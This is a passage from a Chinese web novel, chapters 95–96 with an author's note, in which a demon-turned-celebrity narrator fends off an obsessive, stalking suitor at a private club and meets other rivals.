颜升立刻后退半步,举起双手做投降状,声音也软和下?来?:“别嘛,警察来?了的话?,说不定要上新?闻呢。” “我是来?道歉的,还带了礼物?。” 他变戏法似的从身后拿出一个文件袋,递到我面?前,笑得格外灿烂,“之前答应你的,还有跑车,你喜欢什么颜色?我明天就告诉那边,让他们按你的喜好定制。” 我接过文件袋,抽出里面?的文件。白纸黑字,清晰地写着某处知名赛马场的所有权转让协议。 紧接着,他又把手机屏幕凑到我眼前,上面?是几款炫酷超跑的图片。 颜升压低音调,在我耳边黏黏糊糊地说:“还有其他礼物?呢……上次是我的错,没有把霍亦瑀整死,但是你也没来?看?我啊,真狠心,他那天可是把手表缠在指骨上打的,是真想把我往死里揍呢。” “这么久没找你,我在养伤。” 我仔仔细细看?他这张脸,发现他戴眼镜的原因?,在镜框下?还能看?到青紫的地方?,但是在他脸上,非但不显狼狈,反倒像精心描绘的暗色花纹。 他眨了下?眼睛,弯起纯黑的眼睛,“虽然在家里也行,但你哥可能不想看?到我呢……” 我转头看?了眼栾明。他没什么表情,只是沉默地站在我身后不远处,目光沉沉地盯着门口的颜升。 他见我回头,对我几不可察地摇了摇头,然后转身,一言不发地朝客厅走去。 这是什么意思……? 颜升摊手,语气却更轻快了:“所以啊,跟我出去玩吧。” “我还准备了别的礼物?,你会喜欢的。” 不得不说,他来?得时机很巧,而且礼物?确实有点戳中我的心意。 想了想,我把那份厚重的转让协议和那捧巨大的花束一起搬进客厅,全塞进正?站在客厅中央的栾明怀里。 “我出去玩了,等我回来?,会给你带礼物?的!” “……好。” 他点了点头,刘海垂下?来?,遮挡住他的眼睛。 从见面?之后,他好像只会说好。 颜升还是开着他的骚包跑车,我坐进副驾,好奇地问:“还有什么好东西??现在能说了吧?” “一定有更好的东西?才出来?吗?万一我说是我呢?”他朝我眨了下?眼,“你不觉得我很不错吗?” 他今天穿了件柔软的棕色高?领毛衣,看?上去比平时少了几分攻击性,多了点随性的暖意。 脸上的青紫未消,但那种游刃有余的感觉,依旧鲜明,像老鼠坚持不懈地啃木头,带着点恼人又难以忽视的存在感。 我瞥了他一眼:“你有什么好看?的。” “哇哦,上次不够让你高?兴吗?” 他微微挑眉,摆出受伤的表情:“难不成真要穿他的衣服,可是再次进去的难度可是很高?的,而且……你们在冷战吧。” “他告诉你的?” “我猜出来?的。”他笑得十分坦诚,“心情不好,阴沉得像要杀人,是个人都看?得出来?。” 我摸了摸下?巴,说:“他说要冷静。” “说得好啊。” 颜升忍不住扬起嘴角:“我支持他。” “反正?他说冷静,你做什么都可以,对吧。” “享受世界吧,何?必局限于他呢,说白了,他也给不了你什么,像他这样要管理大公?司的人,没有家族帮衬,很难有空闲的时间,他陪不了你,找其他人才是更好的选择。” “那你为啥不忙,因为你还没继承吗?” 我认真地问:“你是不是比不过他?” 他的笑容有一瞬间停滞,但很快掩盖过去,熟练地打方?向盘,转了个弯,岔开话?题:“不如说点有意思的,你这几天在家都做什么?你哥回来也不告诉过我,还把我拉黑了。” “刚才他看?我的眼神,”颜升啧了一声,回味般说道,“可不是一点点讨厌。” “像是要把我一把火烧了,然后把骨灰冲进下?水道的表情。” “因?为你的话?好多。” 我说:“他讨厌话?多的人。” 他在嘴边比了个拉上拉链的手势,示意自己?闭嘴。 车辆行驶到高?楼大厦间,停到一栋黑色矮楼前,附近是经过精细修剪的绿化花园,看?起来?像是某个私人会所。 “和你在A市去的那家差不多,” 颜升下?车,绕过来?为我打开车门,“我也参与了投资,以后你想来?,直接报名字,或者我帮你注册个会员。” “这离市中心好近。” 我十分警惕左望右望,坐在车上不下?去:“会不会有人偷拍,保密好不好,我先说了,我可是大明星。” “保证好啦。” 他耸耸肩膀,嬉笑道:“要是和你一起上新?闻,我的热度可要爆棚了。” 我:“才不给你蹭。” 下?了车,他非要黏黏糊糊地凑过来?,说什么虚拟的热度蹭不上,实体总得让蹭一下?,作势要揽我的肩膀,被?我推了好几把,才安分下?来?。 旁边的服务生训练有素,眼观鼻鼻观心,站在原地仿佛什么都没看?见。 他笑着恢复正?常,领着我往里走。 “这里虽然没有自然景观,但是人造景观也不错,比起A市那个,它的员工更多,你想做什么都有。” “雪也有?” 他笑了下?,说:“你真的很喜欢雪啊,当初霍亦瑀是不是就是用雪骗到你的?” 仔细想想,第一次见面?的时候,的确是在雪附近。 我强调道:“我没有被?骗。” “好吧好吧,你可不好骗。” 颜升走到一扇厚重的木门前,推开,优雅地侧身让开位置,慢条斯理地推了下?眼镜,镜片后的眼睛弯起。 房间装修格调偏雅观,座位紧贴地面?,桌子也是矮矮的,虽然有电视屏幕等科技产品,但看?着像是古代。 而门外连接着一个悬空的观景廊,廊下?是挑高?的大厅,透过半透明的竹帘,可以看?到下?方?的景色。 我往下?一看?,看?到许多人,像是在进行什么宴会似的。 “礼物?在哪?”我没在人群中看?到什么特别的东西?,转头问颜升。 “别着急嘛。” 颜升已经在矮桌旁的软垫上坐下?,拿起桌上一个造型古朴的铸铁茶壶,往两个小巧的白瓷茶杯里注水。 他挽起毛衣袖子,露出小臂上一大块尚未散去的淤青,他将一杯茶轻轻推到我面?前的桌面?上,笑盈盈地看?着我:“坐啊,礼物?还早呢,我们先聊聊天,享受一段愉快的时光,不好吗?” “真不知道坐着有什么好玩的。” 我十分实际,对于这种社交属性大于娱乐属性的地方?总有点疑惑,如果不好玩,为什么非要换个地方?说话?呢,在哪里不能说吗。 我将其归结于有钱人的龟毛。 “人长了嘴就是要说话?的,就像我长了眼睛,就是用来?看?你的啊。” 他歪了下?头,无框眼镜的镜片反射着头顶柔和的光线,闪过一道白光,看?不清他的眼睛,但从嘴角翘起的弧度来?看?,他的眼睛也是弯起的。 我坐下?来?,先喝了口茶,气味是果香味,不苦涩,砸吧下?嘴,还有回甘。 所以我又给自己?倒了杯。 等我喝完,他状似无意地问:“这几天,你去A市了?” “是不是所有人都要变成我的私生粉?”我抱怨道,“这个粉丝群门槛也太低了,怎么谁都能混进来?。” “我也是关心你啊。” 颜升握着茶杯,不喝,就这么拿着,指尖摩挲着杯壁,“毕竟你可是大明星嘛,很多人都想知道你在做什么。” “我回去玩了。” 我说:“你应该知道吧。” 他恍然地点点头,笑容不变:“对啊,私人会所那边有记录。” “你和霍亦瑀没什么区别。” 我点评道:“你们都喜欢监视别人。” “我说过啦,喜欢你的人太多了。”他身体微微前倾,声音压低,“总得使点小手段,才能知道你喜欢什么,讨厌什么,什么时候需要人陪,不是吗?用心机追求你,你只需要享受被?追求的过程和结果就好。” 我享受了什么?私人飞机、房子、赛马场和跑车吗……好吧,确实享受了。 我撑着下?巴看?着他:“那你在做什么?” 颜升笑了下?,看?上去很无辜似的:“我忙着工作呢,公?司会议,家庭会议,还有朋友会议,在那天之后,我和霍亦瑀见了一面?,放了不少狠话?,然后麻烦就找上门来?了。” “他也有不少麻烦。” 他将茶喝完,慢悠悠地给自己?满上,“他的麻烦可比我大。” “当年做得那么绝,有不少人怀恨在心,等着从他身上撕下?一块肉,谁叫他六亲不认,连个搭把手的朋友都没有。” “朋友啊……真是脆弱的关系。” “你朋友很多吗?”我问。 按照三个的健康水平,颜升应该是超胖的水准。 “我可是大家公?认的受欢迎。”他眨了下?眼睛,笑盈盈地说,“我很好说话?,不是吗?” 那天聚餐,他可是像条疯狗,史诗级的疯狗,见谁就咬,像这种真的有朋友吗?如果他认为只要一起坐着就算朋友,那他的朋友很多。 我觉得吧,更受欢迎的是我才对。 “你说,我要是趁着这个机会,也给他添点堵,做点小动作……” 颜升放下?茶杯,身体微微后仰,靠在软垫上,目光看?向下?方?中庭的人群,语气轻松得像在讨论?晚餐吃什么:“他能反应得过来?吗?” “这样你可以做你想做的事了。”他补充道。 “和我有什么关系?” 我说:“我现在也是想做什么就做什么啊。” “他可是掌握着你事业命脉的人,你的合约,你的资源,你的发展方?向……你真的不觉得,这是一种束缚吗?” 有吗?我仔细想了想。 工作上,车千亦把一切都打理得很好,我几乎不用操心,至于霍亦瑀……经济上,我们确实还没分割清楚,我得找时间整理一下?自己?的资产才行。 除此之外,没什么不好的。 只要没让我忍受不了,什么都是还好的程度。 就像现在,我还能坐在颜升对面?。 我真是一个和善的恶魔。 “你真是奇怪。” 颜升含笑看?着我:“怪不得……你们能在一起这么久。” “要是遇到你的是我就好了。” 他又开始幻想了。 我瞥了他一眼,继续倒茶喝。 颜升叹了口气,撑着下?巴,略带苦恼地说:“最近的麻烦可让我心烦了,家里老人越老越被?蒙蔽,非要整成现在这样,哎,这段时间,有个苍蝇一直在我耳边嗡嗡嗡。” 说完,他抬头问我:“你讨厌苍蝇吗?” 我:“其实你也像个苍蝇。” 他刚想说什么,忽然将目光转向下?方?中庭,脸上露出了那种看?到老鼠踏入陷阱的、饶有兴味的表情,连嘴角的弧度都因?为兴奋而加深了些?许。 “看?,”他下?巴微抬,示意我往下?看?,“你的礼物?来?了。” 我往下?看?去,中庭一处相?对安静的角落,站着一个身影,即使隔着一段距离和竹帘的遮挡,我也立刻认出了他。 因?为反派上正?经新?闻很奇怪,而且他的名字很难听。 他穿着薄薄的衬衫,他今天只穿着一件薄薄的黑色丝质衬衫,领口的扣子解开了好几颗,大敞着,露出清晰的锁骨和一大片胸膛的皮肤。 因?为是从上往下?俯瞰的角度,那片敞开的领口显得更深,甚至能隐约看?到胸肌之间弧度。 是因?为从上往下?看?的原因?吗,为什么这么深? 我深深地疑惑了,目光落在深陷的阴影上。 他独自站着,手里端着一杯酒,却没喝,目光紧紧锁定着中庭的另一端。 我也跟着他的视线看?过去,另一端,被?不少人簇拥着的中心,站着一个我再熟悉不过的身影,穿着剪裁合体的深色西?装,身姿挺拔,正?与身边的人低声交谈,侧脸线条冷峻而平静。 两个人一个站在人群里,另一个人站在偏僻的角落,大厅里被?分割为热闹和寂静。 霍亦瑀在这。 李四也在。 不对……是黎鸶。 “真有意思啊,你猜他们会不会打起来?。” 颜升跃跃欲试的声音在我耳边响起,他看?着下?面?的黎鸶,兴致勃勃地说:“小时候他还是个头都不敢抬的小可怜,没想到长大了变得这么阴森了,看?上去要上去把霍亦瑀给捅了,要是真的捅一刀,那明天的新?闻就有意思了——” 我打断他的话?,问:“这就是你的礼物??” 颜升转过头,捧着脸,眼睛几乎弯成月牙,笑盈盈地说:“对啊,惊喜吗?喜欢吗?” 我的兴致完全归零。 因?为霍亦瑀又不像他一样讨打,所以看?他出事没什么好玩的,而且我觉得今天根本不会发生任何?事。 有钱人的聚餐和宴会都很无聊。 只是坐着聊天,说些?让人听不懂的话?,装模作样的还没有酒吧好看?。 我深深地感觉时间被?浪费了。 虽然我的时间很多,但是不想浪费在这种事身上。 如果今天颜升挨打,可能会更有意思点。 他这幅着急分享、寻求认同的模样,一点意思都没有。 “这是你的礼物?吧,和我有什么关系。” 我说:“说来?说去,只是你想看?到他出事而已,天天在我耳边说霍亦瑀,你是不是在羡慕他啊?” 我真心地想问这个问题。 他脸上的笑容弧度明显下?降了几度,但依旧维持着,只是语气拖长:“不开心?可是这出戏不是很有趣吗?” “只有你觉得有趣的事。” 我站起身,不再看?他,径直朝门口走去。 下?一秒,我的手腕被?猛地拽住。 颜升拉住了我,力道不容置疑,他脸上的笑容像是被?冻结住,固定在一个完美的弧度上。 “留下?吧。”他的声音依旧带着笑,“戏都开场了,出来?一趟,总要把好戏看?完,不是吗?” “啪。” 我反手给了他一巴掌。 他侧着脸,眼镜歪扭,露出纯黑色的、瘆人的眼睛。 “我说了,很无聊。” 我收回手,看?着手腕上的红印:“你总是在讲霍亦瑀,从最开始就是,总是一个不停地讲他,如果是想用我来?气他,现在也应该停止了吧,我只是在和你玩游戏而已,如果我不想玩,你就不能继续。” “不是吗?”我说,“这不是你的游戏。” “还有。 ” 我说:“你真的很自大诶,邛浚比你好。” 他保持着偏头的姿势,舌尖在口腔内侧顶了顶腮帮,脸上的红痕愈发刺目。 再转回头时,他脸上那种惯常的、玩世不恭的笑意已经彻底消失,眉眼阴沉下?来?,盯着人看?的时候,格外得阴沉。 和上次不一样,他身上终于浮现出怒气,生气的情绪撕开笑脸,终于显露出来?。 他好像很在意最后那句话?。 邛浚还有个用处,他真的能把颜升气到。 虽然邛浚是烦人了点,但他绝对没有到达颜升的烦人程度。 他们的区别在于,邛浚是条流浪狗,而颜升是条被?宠坏的、会咬人的狗。 等等,我好像要变成人类犬研究学?家了—— 作者有话说:终于改完了,一个章纲越写越长,明天要努力写完! 鲜花饼以前被家里宠坏,什么事都干,尤其爱玩,做过很多坏事,被富哥联同穷菌一起捅给家里人,然后被打包出国沉淀五年,回来之后一直在和穷菌斗来斗去,还要咬富哥,属于纯疯狗,这种人一般只按照自己的想法做事,外热内冷,所以刚开始是想用小冬气富哥,然后被穷菌耍了之后(赛车做手脚),有点生气,但是又很兴奋,相当于狗发现新玩具,要把她从穷菌和富哥手里抢过来,然后当舔狗越来越爽,有点沉迷了,觉得特别合得来,特别想要分享所有自己觉得有趣的事,但是压根没学过怎么平等地接触,非常地自大,而且我行我素,觉得玩M那套是在玩情。趣,他不喜欢受虐,但是喜欢互动,所以也能接受,但这次真打了,他就破防了,他不喜欢别人打他脸……总之,打他就是最好的破防(?) 下一章穷菌也来了,两个人半斤八两[摆手]《 》 95-100 第96章 颜升看着我, 脸上那片鲜红的指痕像炸开的烟花,边缘甚至有些细微的扩散,足见刚才那巴掌的力道之重。 同时,我的手?心也火辣辣的。 可恶, 下次绝对不用手?打他了, 至少得找个趁手?的东西, 比如……矮桌上那个沉甸甸的铸铁茶壶? 我转了转发麻的手?腕。 “邛浚。” 颜升忽然?开口,一字一顿地念出,像是从牙缝里硬生?生?挤出来似的,带着一股咬牙切齿的狠。 他却又低低笑了起来, 笑声?里的嘲讽几乎要溢出来。 “你拿他……跟我比?” 他说:“他算什么东西?一个暴发户的儿子?,靠着那点沾亲带故的关系,才勉强能走到我面前, 说上几句话。” “宝贝啊。”他叹息似的说,“想侮辱我的话,你的确用对人了。” “但他能给你什么呢?” 颜升抬起头,将歪斜的眼?镜慢条斯理地取下, 轻轻搁在矮桌上。 没了镜片的遮挡,那双纯黑色的眼?睛毫无?保留地暴露出来,紧紧锁住我,像是潜伏在阴影里、随时准备扑上来撕咬的野兽, 看得人心里发怵。 要是眼?睛会咬人的话, 我肯定得狂犬病了。 “他至少没有你这么烦。” 我无?所谓地说:“而且那些东西, 我总会得到的。” “你不给, 自然?会有别人想方设法?递到我手?边。” 命中注定我会有房子?、私人飞机、公司、赌马场……! 颜升歪了下头,双手?撑着下巴,视线在我身上盘旋, 半晌后低头嗤笑一声?,“对啊,你说得太对了。” “但是我不会让其他人靠近的。” 他说:“你觉得霍亦瑀就会吗?” 在听到名字的瞬间,我指着他,露出果然?如此的表情。 颜升愣了下,随即瘪瘪嘴,带上点委屈似的:“没办法?嘛,我们?之间总得拿他当个情趣,他只是我们?play的一环而已。” 我不想参与这种play。 我:“你总说些奇怪的话。” “那你想我怎么做,我需要跪在你脚边汪汪汪吗?” 他抬手?轻轻碰了碰脸上红肿的指痕,疼得轻嘶一声?,又用舌尖顶了顶口腔内侧的软肉,“你下手?可真重。” “那是你自找的,谁让你随便抓我。”我再?次瞥向紧闭的房门,“我要走了。” 颜升笑着反问:“怎么回去?打车,还是想让我送你?” “……可是我现在不想动呢。” 他懒洋洋地说完,带着某种自省般的疑惑,喃喃自语道:“说实在的,我是不是对你太好?了。” “你算什么?” 我疑惑地说:“停止幻想好?吗。” 在听到我的话后,他的笑固定在脸上,眼?睛微微睁大。 像是被这句话点燃了什么,嘴角的弧度不受控制地、越拉越大,形成一个异常的、灿烂的笑容。 他缓缓站起身,来到我面前,居高临下地盯着我,阴影将我笼罩。 “我?”颜升轻笑。 “我是你称心如意?、想要什么就能得到什么的工具啊,你不会以为,还能像丢垃圾一样,随随便便就把我甩掉吧?那可太简单了……就算是丢垃圾,也没这么容易的事呢。” 他俯身,气息压下来:“游戏必须继续才行?,不然?连我自己都不知道,接下来会做出点什么。” “你是不是小说看多了。” 我觉得他是犯病了,竟然?在现实里说出这种台词,听得我有点牙酸。 颜升点点头,变脸速度极快,又变成一副友善的模样。 他黏黏糊糊地压向我,嬉笑道:“说分小说,我最?喜欢的电影和书是战争史诗,知道吗?只要一方不彻底停下,战争就永远没有结束的那天。” “人与人的交往也一样。” 他的呼吸近在咫尺,“如果我不松手?,你是走不掉的。” 我冷静地说:“我要报警。” “……” 颜升顿了一秒,随即低低地笑了起来,胸腔震动,“可以啊,我们?一起进警察局好?了,顺便让媒体拍个照?” “然?后在所有人眼?里,我们?是绑定的,连名字都黏在一起,不是比现在更亲密吗。” 他越说越兴奋,用力地抱住我,力道很大,像是不断收紧的藤蔓,他的头抵在我的脖颈处,一个劲地嗅来嗅去。 他发出满足的喟叹:“我喜欢你身上的气味。” “我哥买的,你想要自己去买吧。” 我用力拍开他的脸,又踹了他几脚,但这人像是感受不到疼痛似的,仍然?抱着我。 “咱哥真会挑。” 颜升的声?音打在耳畔,他压低声音说:“我真的很喜欢你啊,如果其他的人这样对我,他早就变成无?名尸了,但是你这样,我反而更喜欢你,你是不是给我下蛊了?” 我有些震惊:“你竟然犯法?” 不是**才搞这些吗?怎么真就像是电影里演的那样,有钱人爱当法?外狂徒。 那我是不是也不用担心法?律了? “我怎么犯法?了?又没有人制裁我。” 所以到底犯没犯法?? 我疑惑地看着他。 他忍不住笑了起来,忽然?侧头在我脸颊上飞快地亲了一下。 “法?律不过是约束大多数人的东西,想往上爬,谁的身上没点血呢,就连你的好?朋友,那个下贱的邛浚,做的小手?段可不少。” “他以前可是专门干脏活的。” 他歪头看着我,笑得尤其无?辜:“你不知道吗?还是说,他装得太好?了。” 作?为人类的三?观受到了冲击。 好?吧,人类死得确实容易。 不像我们?恶魔,生?命力顽强得多,打打杀杀是常事,唯一称得上不合法?的是违背契约。 法?律应该算是人类社会的契约吗? 人类果然?很狡猾。 “那你试试看好?了。”我说,“看我们?谁先死。” 我们?互相捅刀的话,以我现在的状态和特殊能力,存活概率绝对是百分之百,虽然?暂时是人类的躯壳,但精神力可以反哺**,我肯定很难被杀掉。 我想着,赞同地点了点头。 “你真想试试?” 他更加惊奇地看着我,忍不住真笑了起来,抱着我的力道加大,浑身温度上升,脸颊上的扩散到脖子?,莫名奇妙地处于兴奋状态。 我掐住他的脖子?,用力地晃来晃去,“赶紧给我松开,你还想把我勒死,我告诉你,先死的绝对是你。” “咳、咳——好?啊!” 他居然?真的不怎么反抗,说话因窒息而断断续续,眼?中却闪烁着极度兴奋、近乎狂乱的光芒,“我们?一起死……听起来……也不错……” 这人真的有病。 我深深地无?语了,遂放弃了和他进行?物理上的角力。 “留在我身边吧。” 颜升放松了力道,头抵在我的肩膀上,眼?睛浸润在生?理泪水中,喘气不匀:“我真的好?喜欢你。” 刚才真的该把他掐死。 “我不要。” 我斩钉截铁,用手?坚决地抵住他试图再?次凑近的脸,顺便踹了他小腿几脚:“人与人之间要保持安全距离,你懂不懂?” “你不喜欢我吗。” “不喜欢。” 他脸上浮现出真情实意?的遗憾的神色,情绪变换有点复杂,抬手?摸了下脖子?,然?后又摸了下心口。 “看来我真的不是M啊。” 他有些可惜地说:“这种难受的感觉是为什么呢……真不想啊,听到你的话,我很不爽啊,喜欢我吧,我都这么喜欢你了。” 我说:“才没有这种理所当然?的事。” 力的作?用是相互的这个物理选择无?法?用在感情上,如果别人喜欢我,我就喜欢回去的话,那得多累啊。 “好?吧。”他终于松开了手?,微微拧起眉头,唉声?叹气,“那我听你的,不过,那你至少对我好?一点吧?像我这么听话的可不多见了。” “原谅我吧。” 他说完,又补充道:“我会让你原谅我的。” “你加油。”我从他的怀抱里钻出来,敷衍地摆摆手?。 他此刻的笑容,在我眼?里完全就是一个难以理解、而且脑子?有问题的象征。 颜升装模作?样地帮我整理衣服,抚平凌乱的皱褶,轻声?说:“那要我送你回去吗。” 听到这句话,我立马往外冲。 他站在原地没动,一直盯着我,目光沉甸甸的,像无?形的钩子?。 直到我转身拉开房门走出去,再?反手?关上,透过即将合拢的门缝,还能看到他站在原地,视线依旧牢牢锁定这个方向。 下次见到他,我应该在身上带把刀了。 这种法?外狂徒,必须有人制裁才行?。 我往外走,正打电话让司机来,但没想到,他说自己就在门口。 司机犹豫地说:“是霍先生?让我来的。” 几乎在话音落下的同时,我抬眼?就在走廊前方的拐角处,看到了一道熟悉的身影。 霍亦瑀正在看墙壁上的画,周围的人在交谈着什么,但他转头看向我,挥挥手?,其他人下意?识转头向我看来,有几个人有点懵,但相互说了什么,很快就打趣着离开了。 等他来到我面前,我问:“你怎么知道我在这里?” 他说:“猜的。” 我还以为他也在我的私生?群里。 但霍亦瑀说:“但凡有能让我出丑、看我不痛快的机会,他是绝对不会放过的,更何况今天,他大概迫不及待想跟你分享这个场面。” “那要是我不来呢?” 他笑了下,转动手?腕处的表,“多做点准备,总是没错的。” 他仍然?戴着上次的那块,表盘上出现龟裂,像是裂开的冰面,但里面仍然?是一片平稳的深蓝。 “我把血擦干净了。” 霍亦瑀用那种讨论天气般的云淡风轻口吻说道,“在它完全坏掉之前,应该还能再?用几次。” 已经变成凶器了吧。 我仔细看了看他的脸,没有发现新的伤痕。他脸上挂着惯常的、淡淡的微笑,但周身却萦绕着一层薄薄的、被压抑着的、混合了不满与愠怒的情绪。 他的情绪总是这样,像是胶囊一样压缩着,只泄露一丝半缕。 我想了想,说:“我们?还在继续冷静吗?” “……” 他垂下眸,指尖在盘上敲了敲,发出细微的声?响:“不。” “我等不了那么久。” 他抬手?替我整理发丝,又叹了口气,视线望向我的后方:“我说过不要再?见他了,但是你还是来了。” “小冬……” 他低低唤了一声?,浅色的眸子?微微眯起,收敛情绪说:“我很生?气。” “对我吗?” “……或许是对我自己。” 霍亦瑀看向墙壁上的画作?,那是一副色彩混乱的抽象大作?,像我就不懂它到底为什么会挂在墙上,为什么能被拍卖出几千万的价格。 看了一会,他说:“那些事,我们?以后再?说。” 他俯下身,浅色的眼?眸在我视野中放大,一个很轻、带着微凉触感的吻,落在我的额头上,他完全笼罩住我,额头相抵,呼吸交织。 我听到他又轻叹了一声?。 “人啊,真是难以满足的生?物,就算得到也不会满足。” 我想了想,说:“你有想要的东西?我可以送给你。” 毕竟他送了我很多东西,我也可以回馈一点,当然?,太贵的不行?。 “以后再?说吧。”他摇头笑了下,淡淡地说,“现在还不是时候。” “司机在门口,车已经等着了。” 他直起身,恢复了一贯的从容:“这里没什么意?思,你先回家吧。” 他顿了顿,补充道:“……回你的新房子?。” “知道啦。” 我无?所谓地挥挥手?,全想着离开了。 但走了两步,我又放缓了脚步,开始慢悠悠地打量起这个私人会所的内部构造。 这地方的装修确实别具一格,迂回曲折,移步换景,穿过一扇门,往往又连接着另一个意?想不到的空间,像个精致的迷宫。 我正在辨认着通往出口的方向,身后忽然?脚步声?。 转过头,我对上了一双深棕色的、目光极具穿透力的眼?睛。 略长的黑发有些随意?地垂落,略微遮挡了一点视线,丝毫未能削弱他目光的存在感。 近距离看,这人的体格比远观更显挺拔健硕,几乎与门框齐高,他身后那扇门里似乎还有不少人影晃动,伴随着模糊的谈笑声?。 他侧过身,随手?放下了门边的竹帘,隔绝了内里的景象。 我和他隔着几步的距离,无?声?地对峙着。 他没动,我也没动。 李四……不对,是黎鸶。 他胸前的衬衫扣子?解开了好?几颗,敞开的领口比从二?楼俯瞰时更加夸张,露出一大片结实的胸膛和清晰的锁骨线条。 他的身材锻炼得极好?,肌肉贲张而不夸张,尤其是胸肌,确实是我见过最?可观的。 我又多看了一眼?。 “栾水冬。” 他一字一句地念出我的名字,声?音低沉,带着点砂砾般的质感。 认识我?很正常,可能是我的粉丝。 他的视线一直牢牢锁在我身上,目光相接时似乎怔愣了一瞬,但丝毫没有移开的意?思,就这么直勾勾地盯着。 他说:“你似乎给惹霍亦瑀了不少麻烦。” “?” 我指着自己:“我?” 他淡淡地移开视线,看向空无?一物的走廊墙壁。 脖颈上那道环形疤痕随着他转头的动作?微微牵动,在灯光下泛着浅淡的红色,像是皮下未曾完全愈合的毛细血管。 “像你这样的人,谁靠近,谁就是麻烦。” 他的声?音没什么起伏,却字字清晰:“但霍亦瑀偏偏要把你放在身边,依我看,他早就该把你送出国,送得越远越好?。” 什么意?思,这句话越听越诡异,他有点像我的黑粉了。 下一秒就要说我没有心,是个白眼?狼。 我懒得跟他废话,干脆捂住耳朵,打算径直从他身边走过去。 结果靠近的时候,他忽然?露出一副不能接受的表情,狠狠往后退了一步,捂住嘴鼻,像是难以呼吸似的,眉头狠狠地皱在一起。 说实话,他本来看上不好?惹,做出这幅表情完全是在鄙视我似的。 我立马停下脚步,不爽地问:“你在演什么,我还没嫌弃你呢!” “你离我远点。” 他的声?音从手?下传来,格外不适地别开头,往后又退了一步。 但他仍然?看着我,眉头紧皱,像是面对什么洪水猛兽似的。 呵呵。 我今天必须推他一把。 就在我蓄力进行?时,准备冲过去给他一下子?的时候,一股熟悉的、甜腻中带着刺激气泡感的可乐气息,毫无?预兆地窜入我的鼻腔。 紧接着,一道身影灵活地插到了我和黎鸶之间。 是邛浚。 看到我,他立刻扬起一个格外灿烂爽朗的笑容:“好?久不见啊,没想到在这遇上了,走吧,我们?叙叙旧。” 他按着我肩膀,强行?把我调转方向,推着我离开。 “你干嘛?!” 我扭来扭去,但这家伙的手?一直黏在我的肩膀上,力道大得出奇,等到没人的地方,他才松开手?,挨了我几拳头,哎哎发出惨叫声?。 “你没看到我在忙吗?”我怒气冲冲地说,“那个没眼?睛的家伙,必须狠狠地推一把才行?!” “哎呀。” 邛浚揉着被我捶打的地方,脸上还是那副笑嘻嘻的模样:“你可推不动他,他壮得像头牛啊,说不定你的手?会更疼,万一他打你怎么办?他看上去打人很疼啊,而且听说在国外学?过拳击,看着也不像个精神正常的人。” 好?吧,有点道理。 我为什么要跟一个莫名其妙的黑粉拼命,都是因为他长得太挑衅了,以后要直接无?视他才行?。 我砸吧了一下嘴,忽然?感觉到口腔里残留着一种极其淡的、几乎无?法?被味蕾捕捉的味道。 更准确地说,是一种难以形容的触感,滑腻而轻微。 如果不是胃部随之传来一丝极其细微的、难以言喻的饱胀感,我可能要以为自己出幻觉了。 这是什么味道? 我吃了什么? 我陷入了短暂的思索中。 一只手?在我面前晃了晃,邛浚凑近了些,脸上依旧是那种毫无?阴霾的爽朗笑容:“回神啦!是不是找不到出去的路了?来,我带你出去,这地方我熟。” “你怎么在这里?”我回过神,问。 “这里在举办活动,聚餐呢。” 他耸肩说:“我也是圈子?里的人,总要来看看吧。” 看他的穿着,一点也不正式,大概也是躲在角落里阴暗地偷窥吧。 “这几天可忙死我了,” 邛浚语气熟稔地抱怨:“但我可没忘记给你发消息哦!倒是某人,消息不读也不回,电话也不接。” 他走在我斜前方半步的位置,微微偏过头来看我,逆着光,他脸上那几颗标志性的小痣看不太真切。 他和颜升唯一相似的地方,大概就是那双纯黑色的眼?睛了,不过邛浚的瞳仁似乎更大更圆一些,不笑的时候也带着点天然?的、无?害的弧度。 “如果不是有私生?群里消息看,我真的会伤心死啊。” 他半真半假地诉苦,伸手?指了指自己眼?下那层淡淡的青色:“看,这几天我都没睡好?。” “是因为颜升吧。” 我戳破道:“他跟我吐槽了,说你像苍蝇一样烦。” “说出这种话之前,至少看看自己吧。” 邛浚嗤笑一声?,语气刻薄地说:“真想把他弄死啊,但是像小强一样顽强,你知道吧,蟑螂可是活得最?久的生?物,从恐龙那个时代就存在,血统什么的,也是最?杂,像这种杂种,竟然?越活越久。” “你说得对。”我深感赞同地点点头:“他真的很奇葩。” 不仅奇葩,还让人费解,完全搞不懂行?为模式,做什么都随心所欲。 “像他那种被宠着长大的人,当然?和我们?不一样啦。” 邛浚自然?地攀着我的肩膀,眉眼?微扬,一脸真诚地说:“我们?才是好?朋友嘛。” 平心而论,抛开那过于频繁的消息轰炸,邛浚相处起来确实比颜升让人舒心得多。 他就像一个移动的情报库,好?像什么八卦秘辛都知道一点。 他长得格外白净,两颗对称的痣落在脸颊上,还有一颗痣,在笑起来时更加显眼?。 现在嘛,这几颗痣越看越不爽。 他身上总有一种别扭感。 “你和颜升好?像啊。” 我忽然?开口,感慨道:“你还是别学?他了,越看你越难受。” “学?他?” 邛浚的脚步停顿住,歪头疑惑地说:“我看上去和他好?像吗?” “对啊。” 我认真地说:“你没发现吗?你的说话风格,还有行?为模式,都和他超级像啊。” “上次也是,你还学?泉卓逸的穿衣风格。” 他停在原地,即使没有表情,嘴角也是上扬的。 我眨巴下眼?睛,视线里的人身上腾起黑色的情绪。 邛浚重新笑了起来,“这种笑话不好?笑啦,我们?应该说点更好?玩的,比方说骂颜升,他真的是蟑螂哦。” 丝丝缕缕的黑线并未散去,反而更浓了些,几乎要遮挡住他的眼?睛,只有嘴角那抹上扬的弧度,依旧清晰。 我想说什么,但他飞快地打断我。 他用一种陡然?拔高、带着异样兴奋的声?调说道:“既然?我们?都很讨厌他,那么不如来一起来商量下怎么让他不爽吧。” “他是不是对你很有兴趣。” 邛浚说:“像这种送到手?上的人,你想怎么伤害都可以,比方说,完全不理他,等他来找你了,又故意?说讨厌他,或者有时候给个甜枣,等他再?次缠上来,又一脚踹开。” “你要用绳子?拴住他的脖子?,像这种疯狗,对待他最?好?的方法?就是让他得不到关注。” “他想要什么,你就不给他什么。” 他扬起一个期待的笑容:“如果他爱上你,那就好?玩了。” 他看着我,仿佛是在寻求赞同。 我点点头,平静地说:“果然?啊,你和他真的很像啊。” “我又不是你的工具,为什么一直要让我去伤害他,就算我讨厌他,我也不会去玩什么爱情游戏,你和他一样,总是把别人的名字挂在嘴边,好?像全世界都绕着你们?转似的。” 我说:“邛浚,你现在这样子?,简直就是颜升的另一个翻版。” 邛浚脸上的笑容没有任何变化,嘴角依旧保持着那个上扬的弧度。 他偏了偏头,露出纯粹的、毫不作?伪的疑惑表情:“你心情不好?吗?” 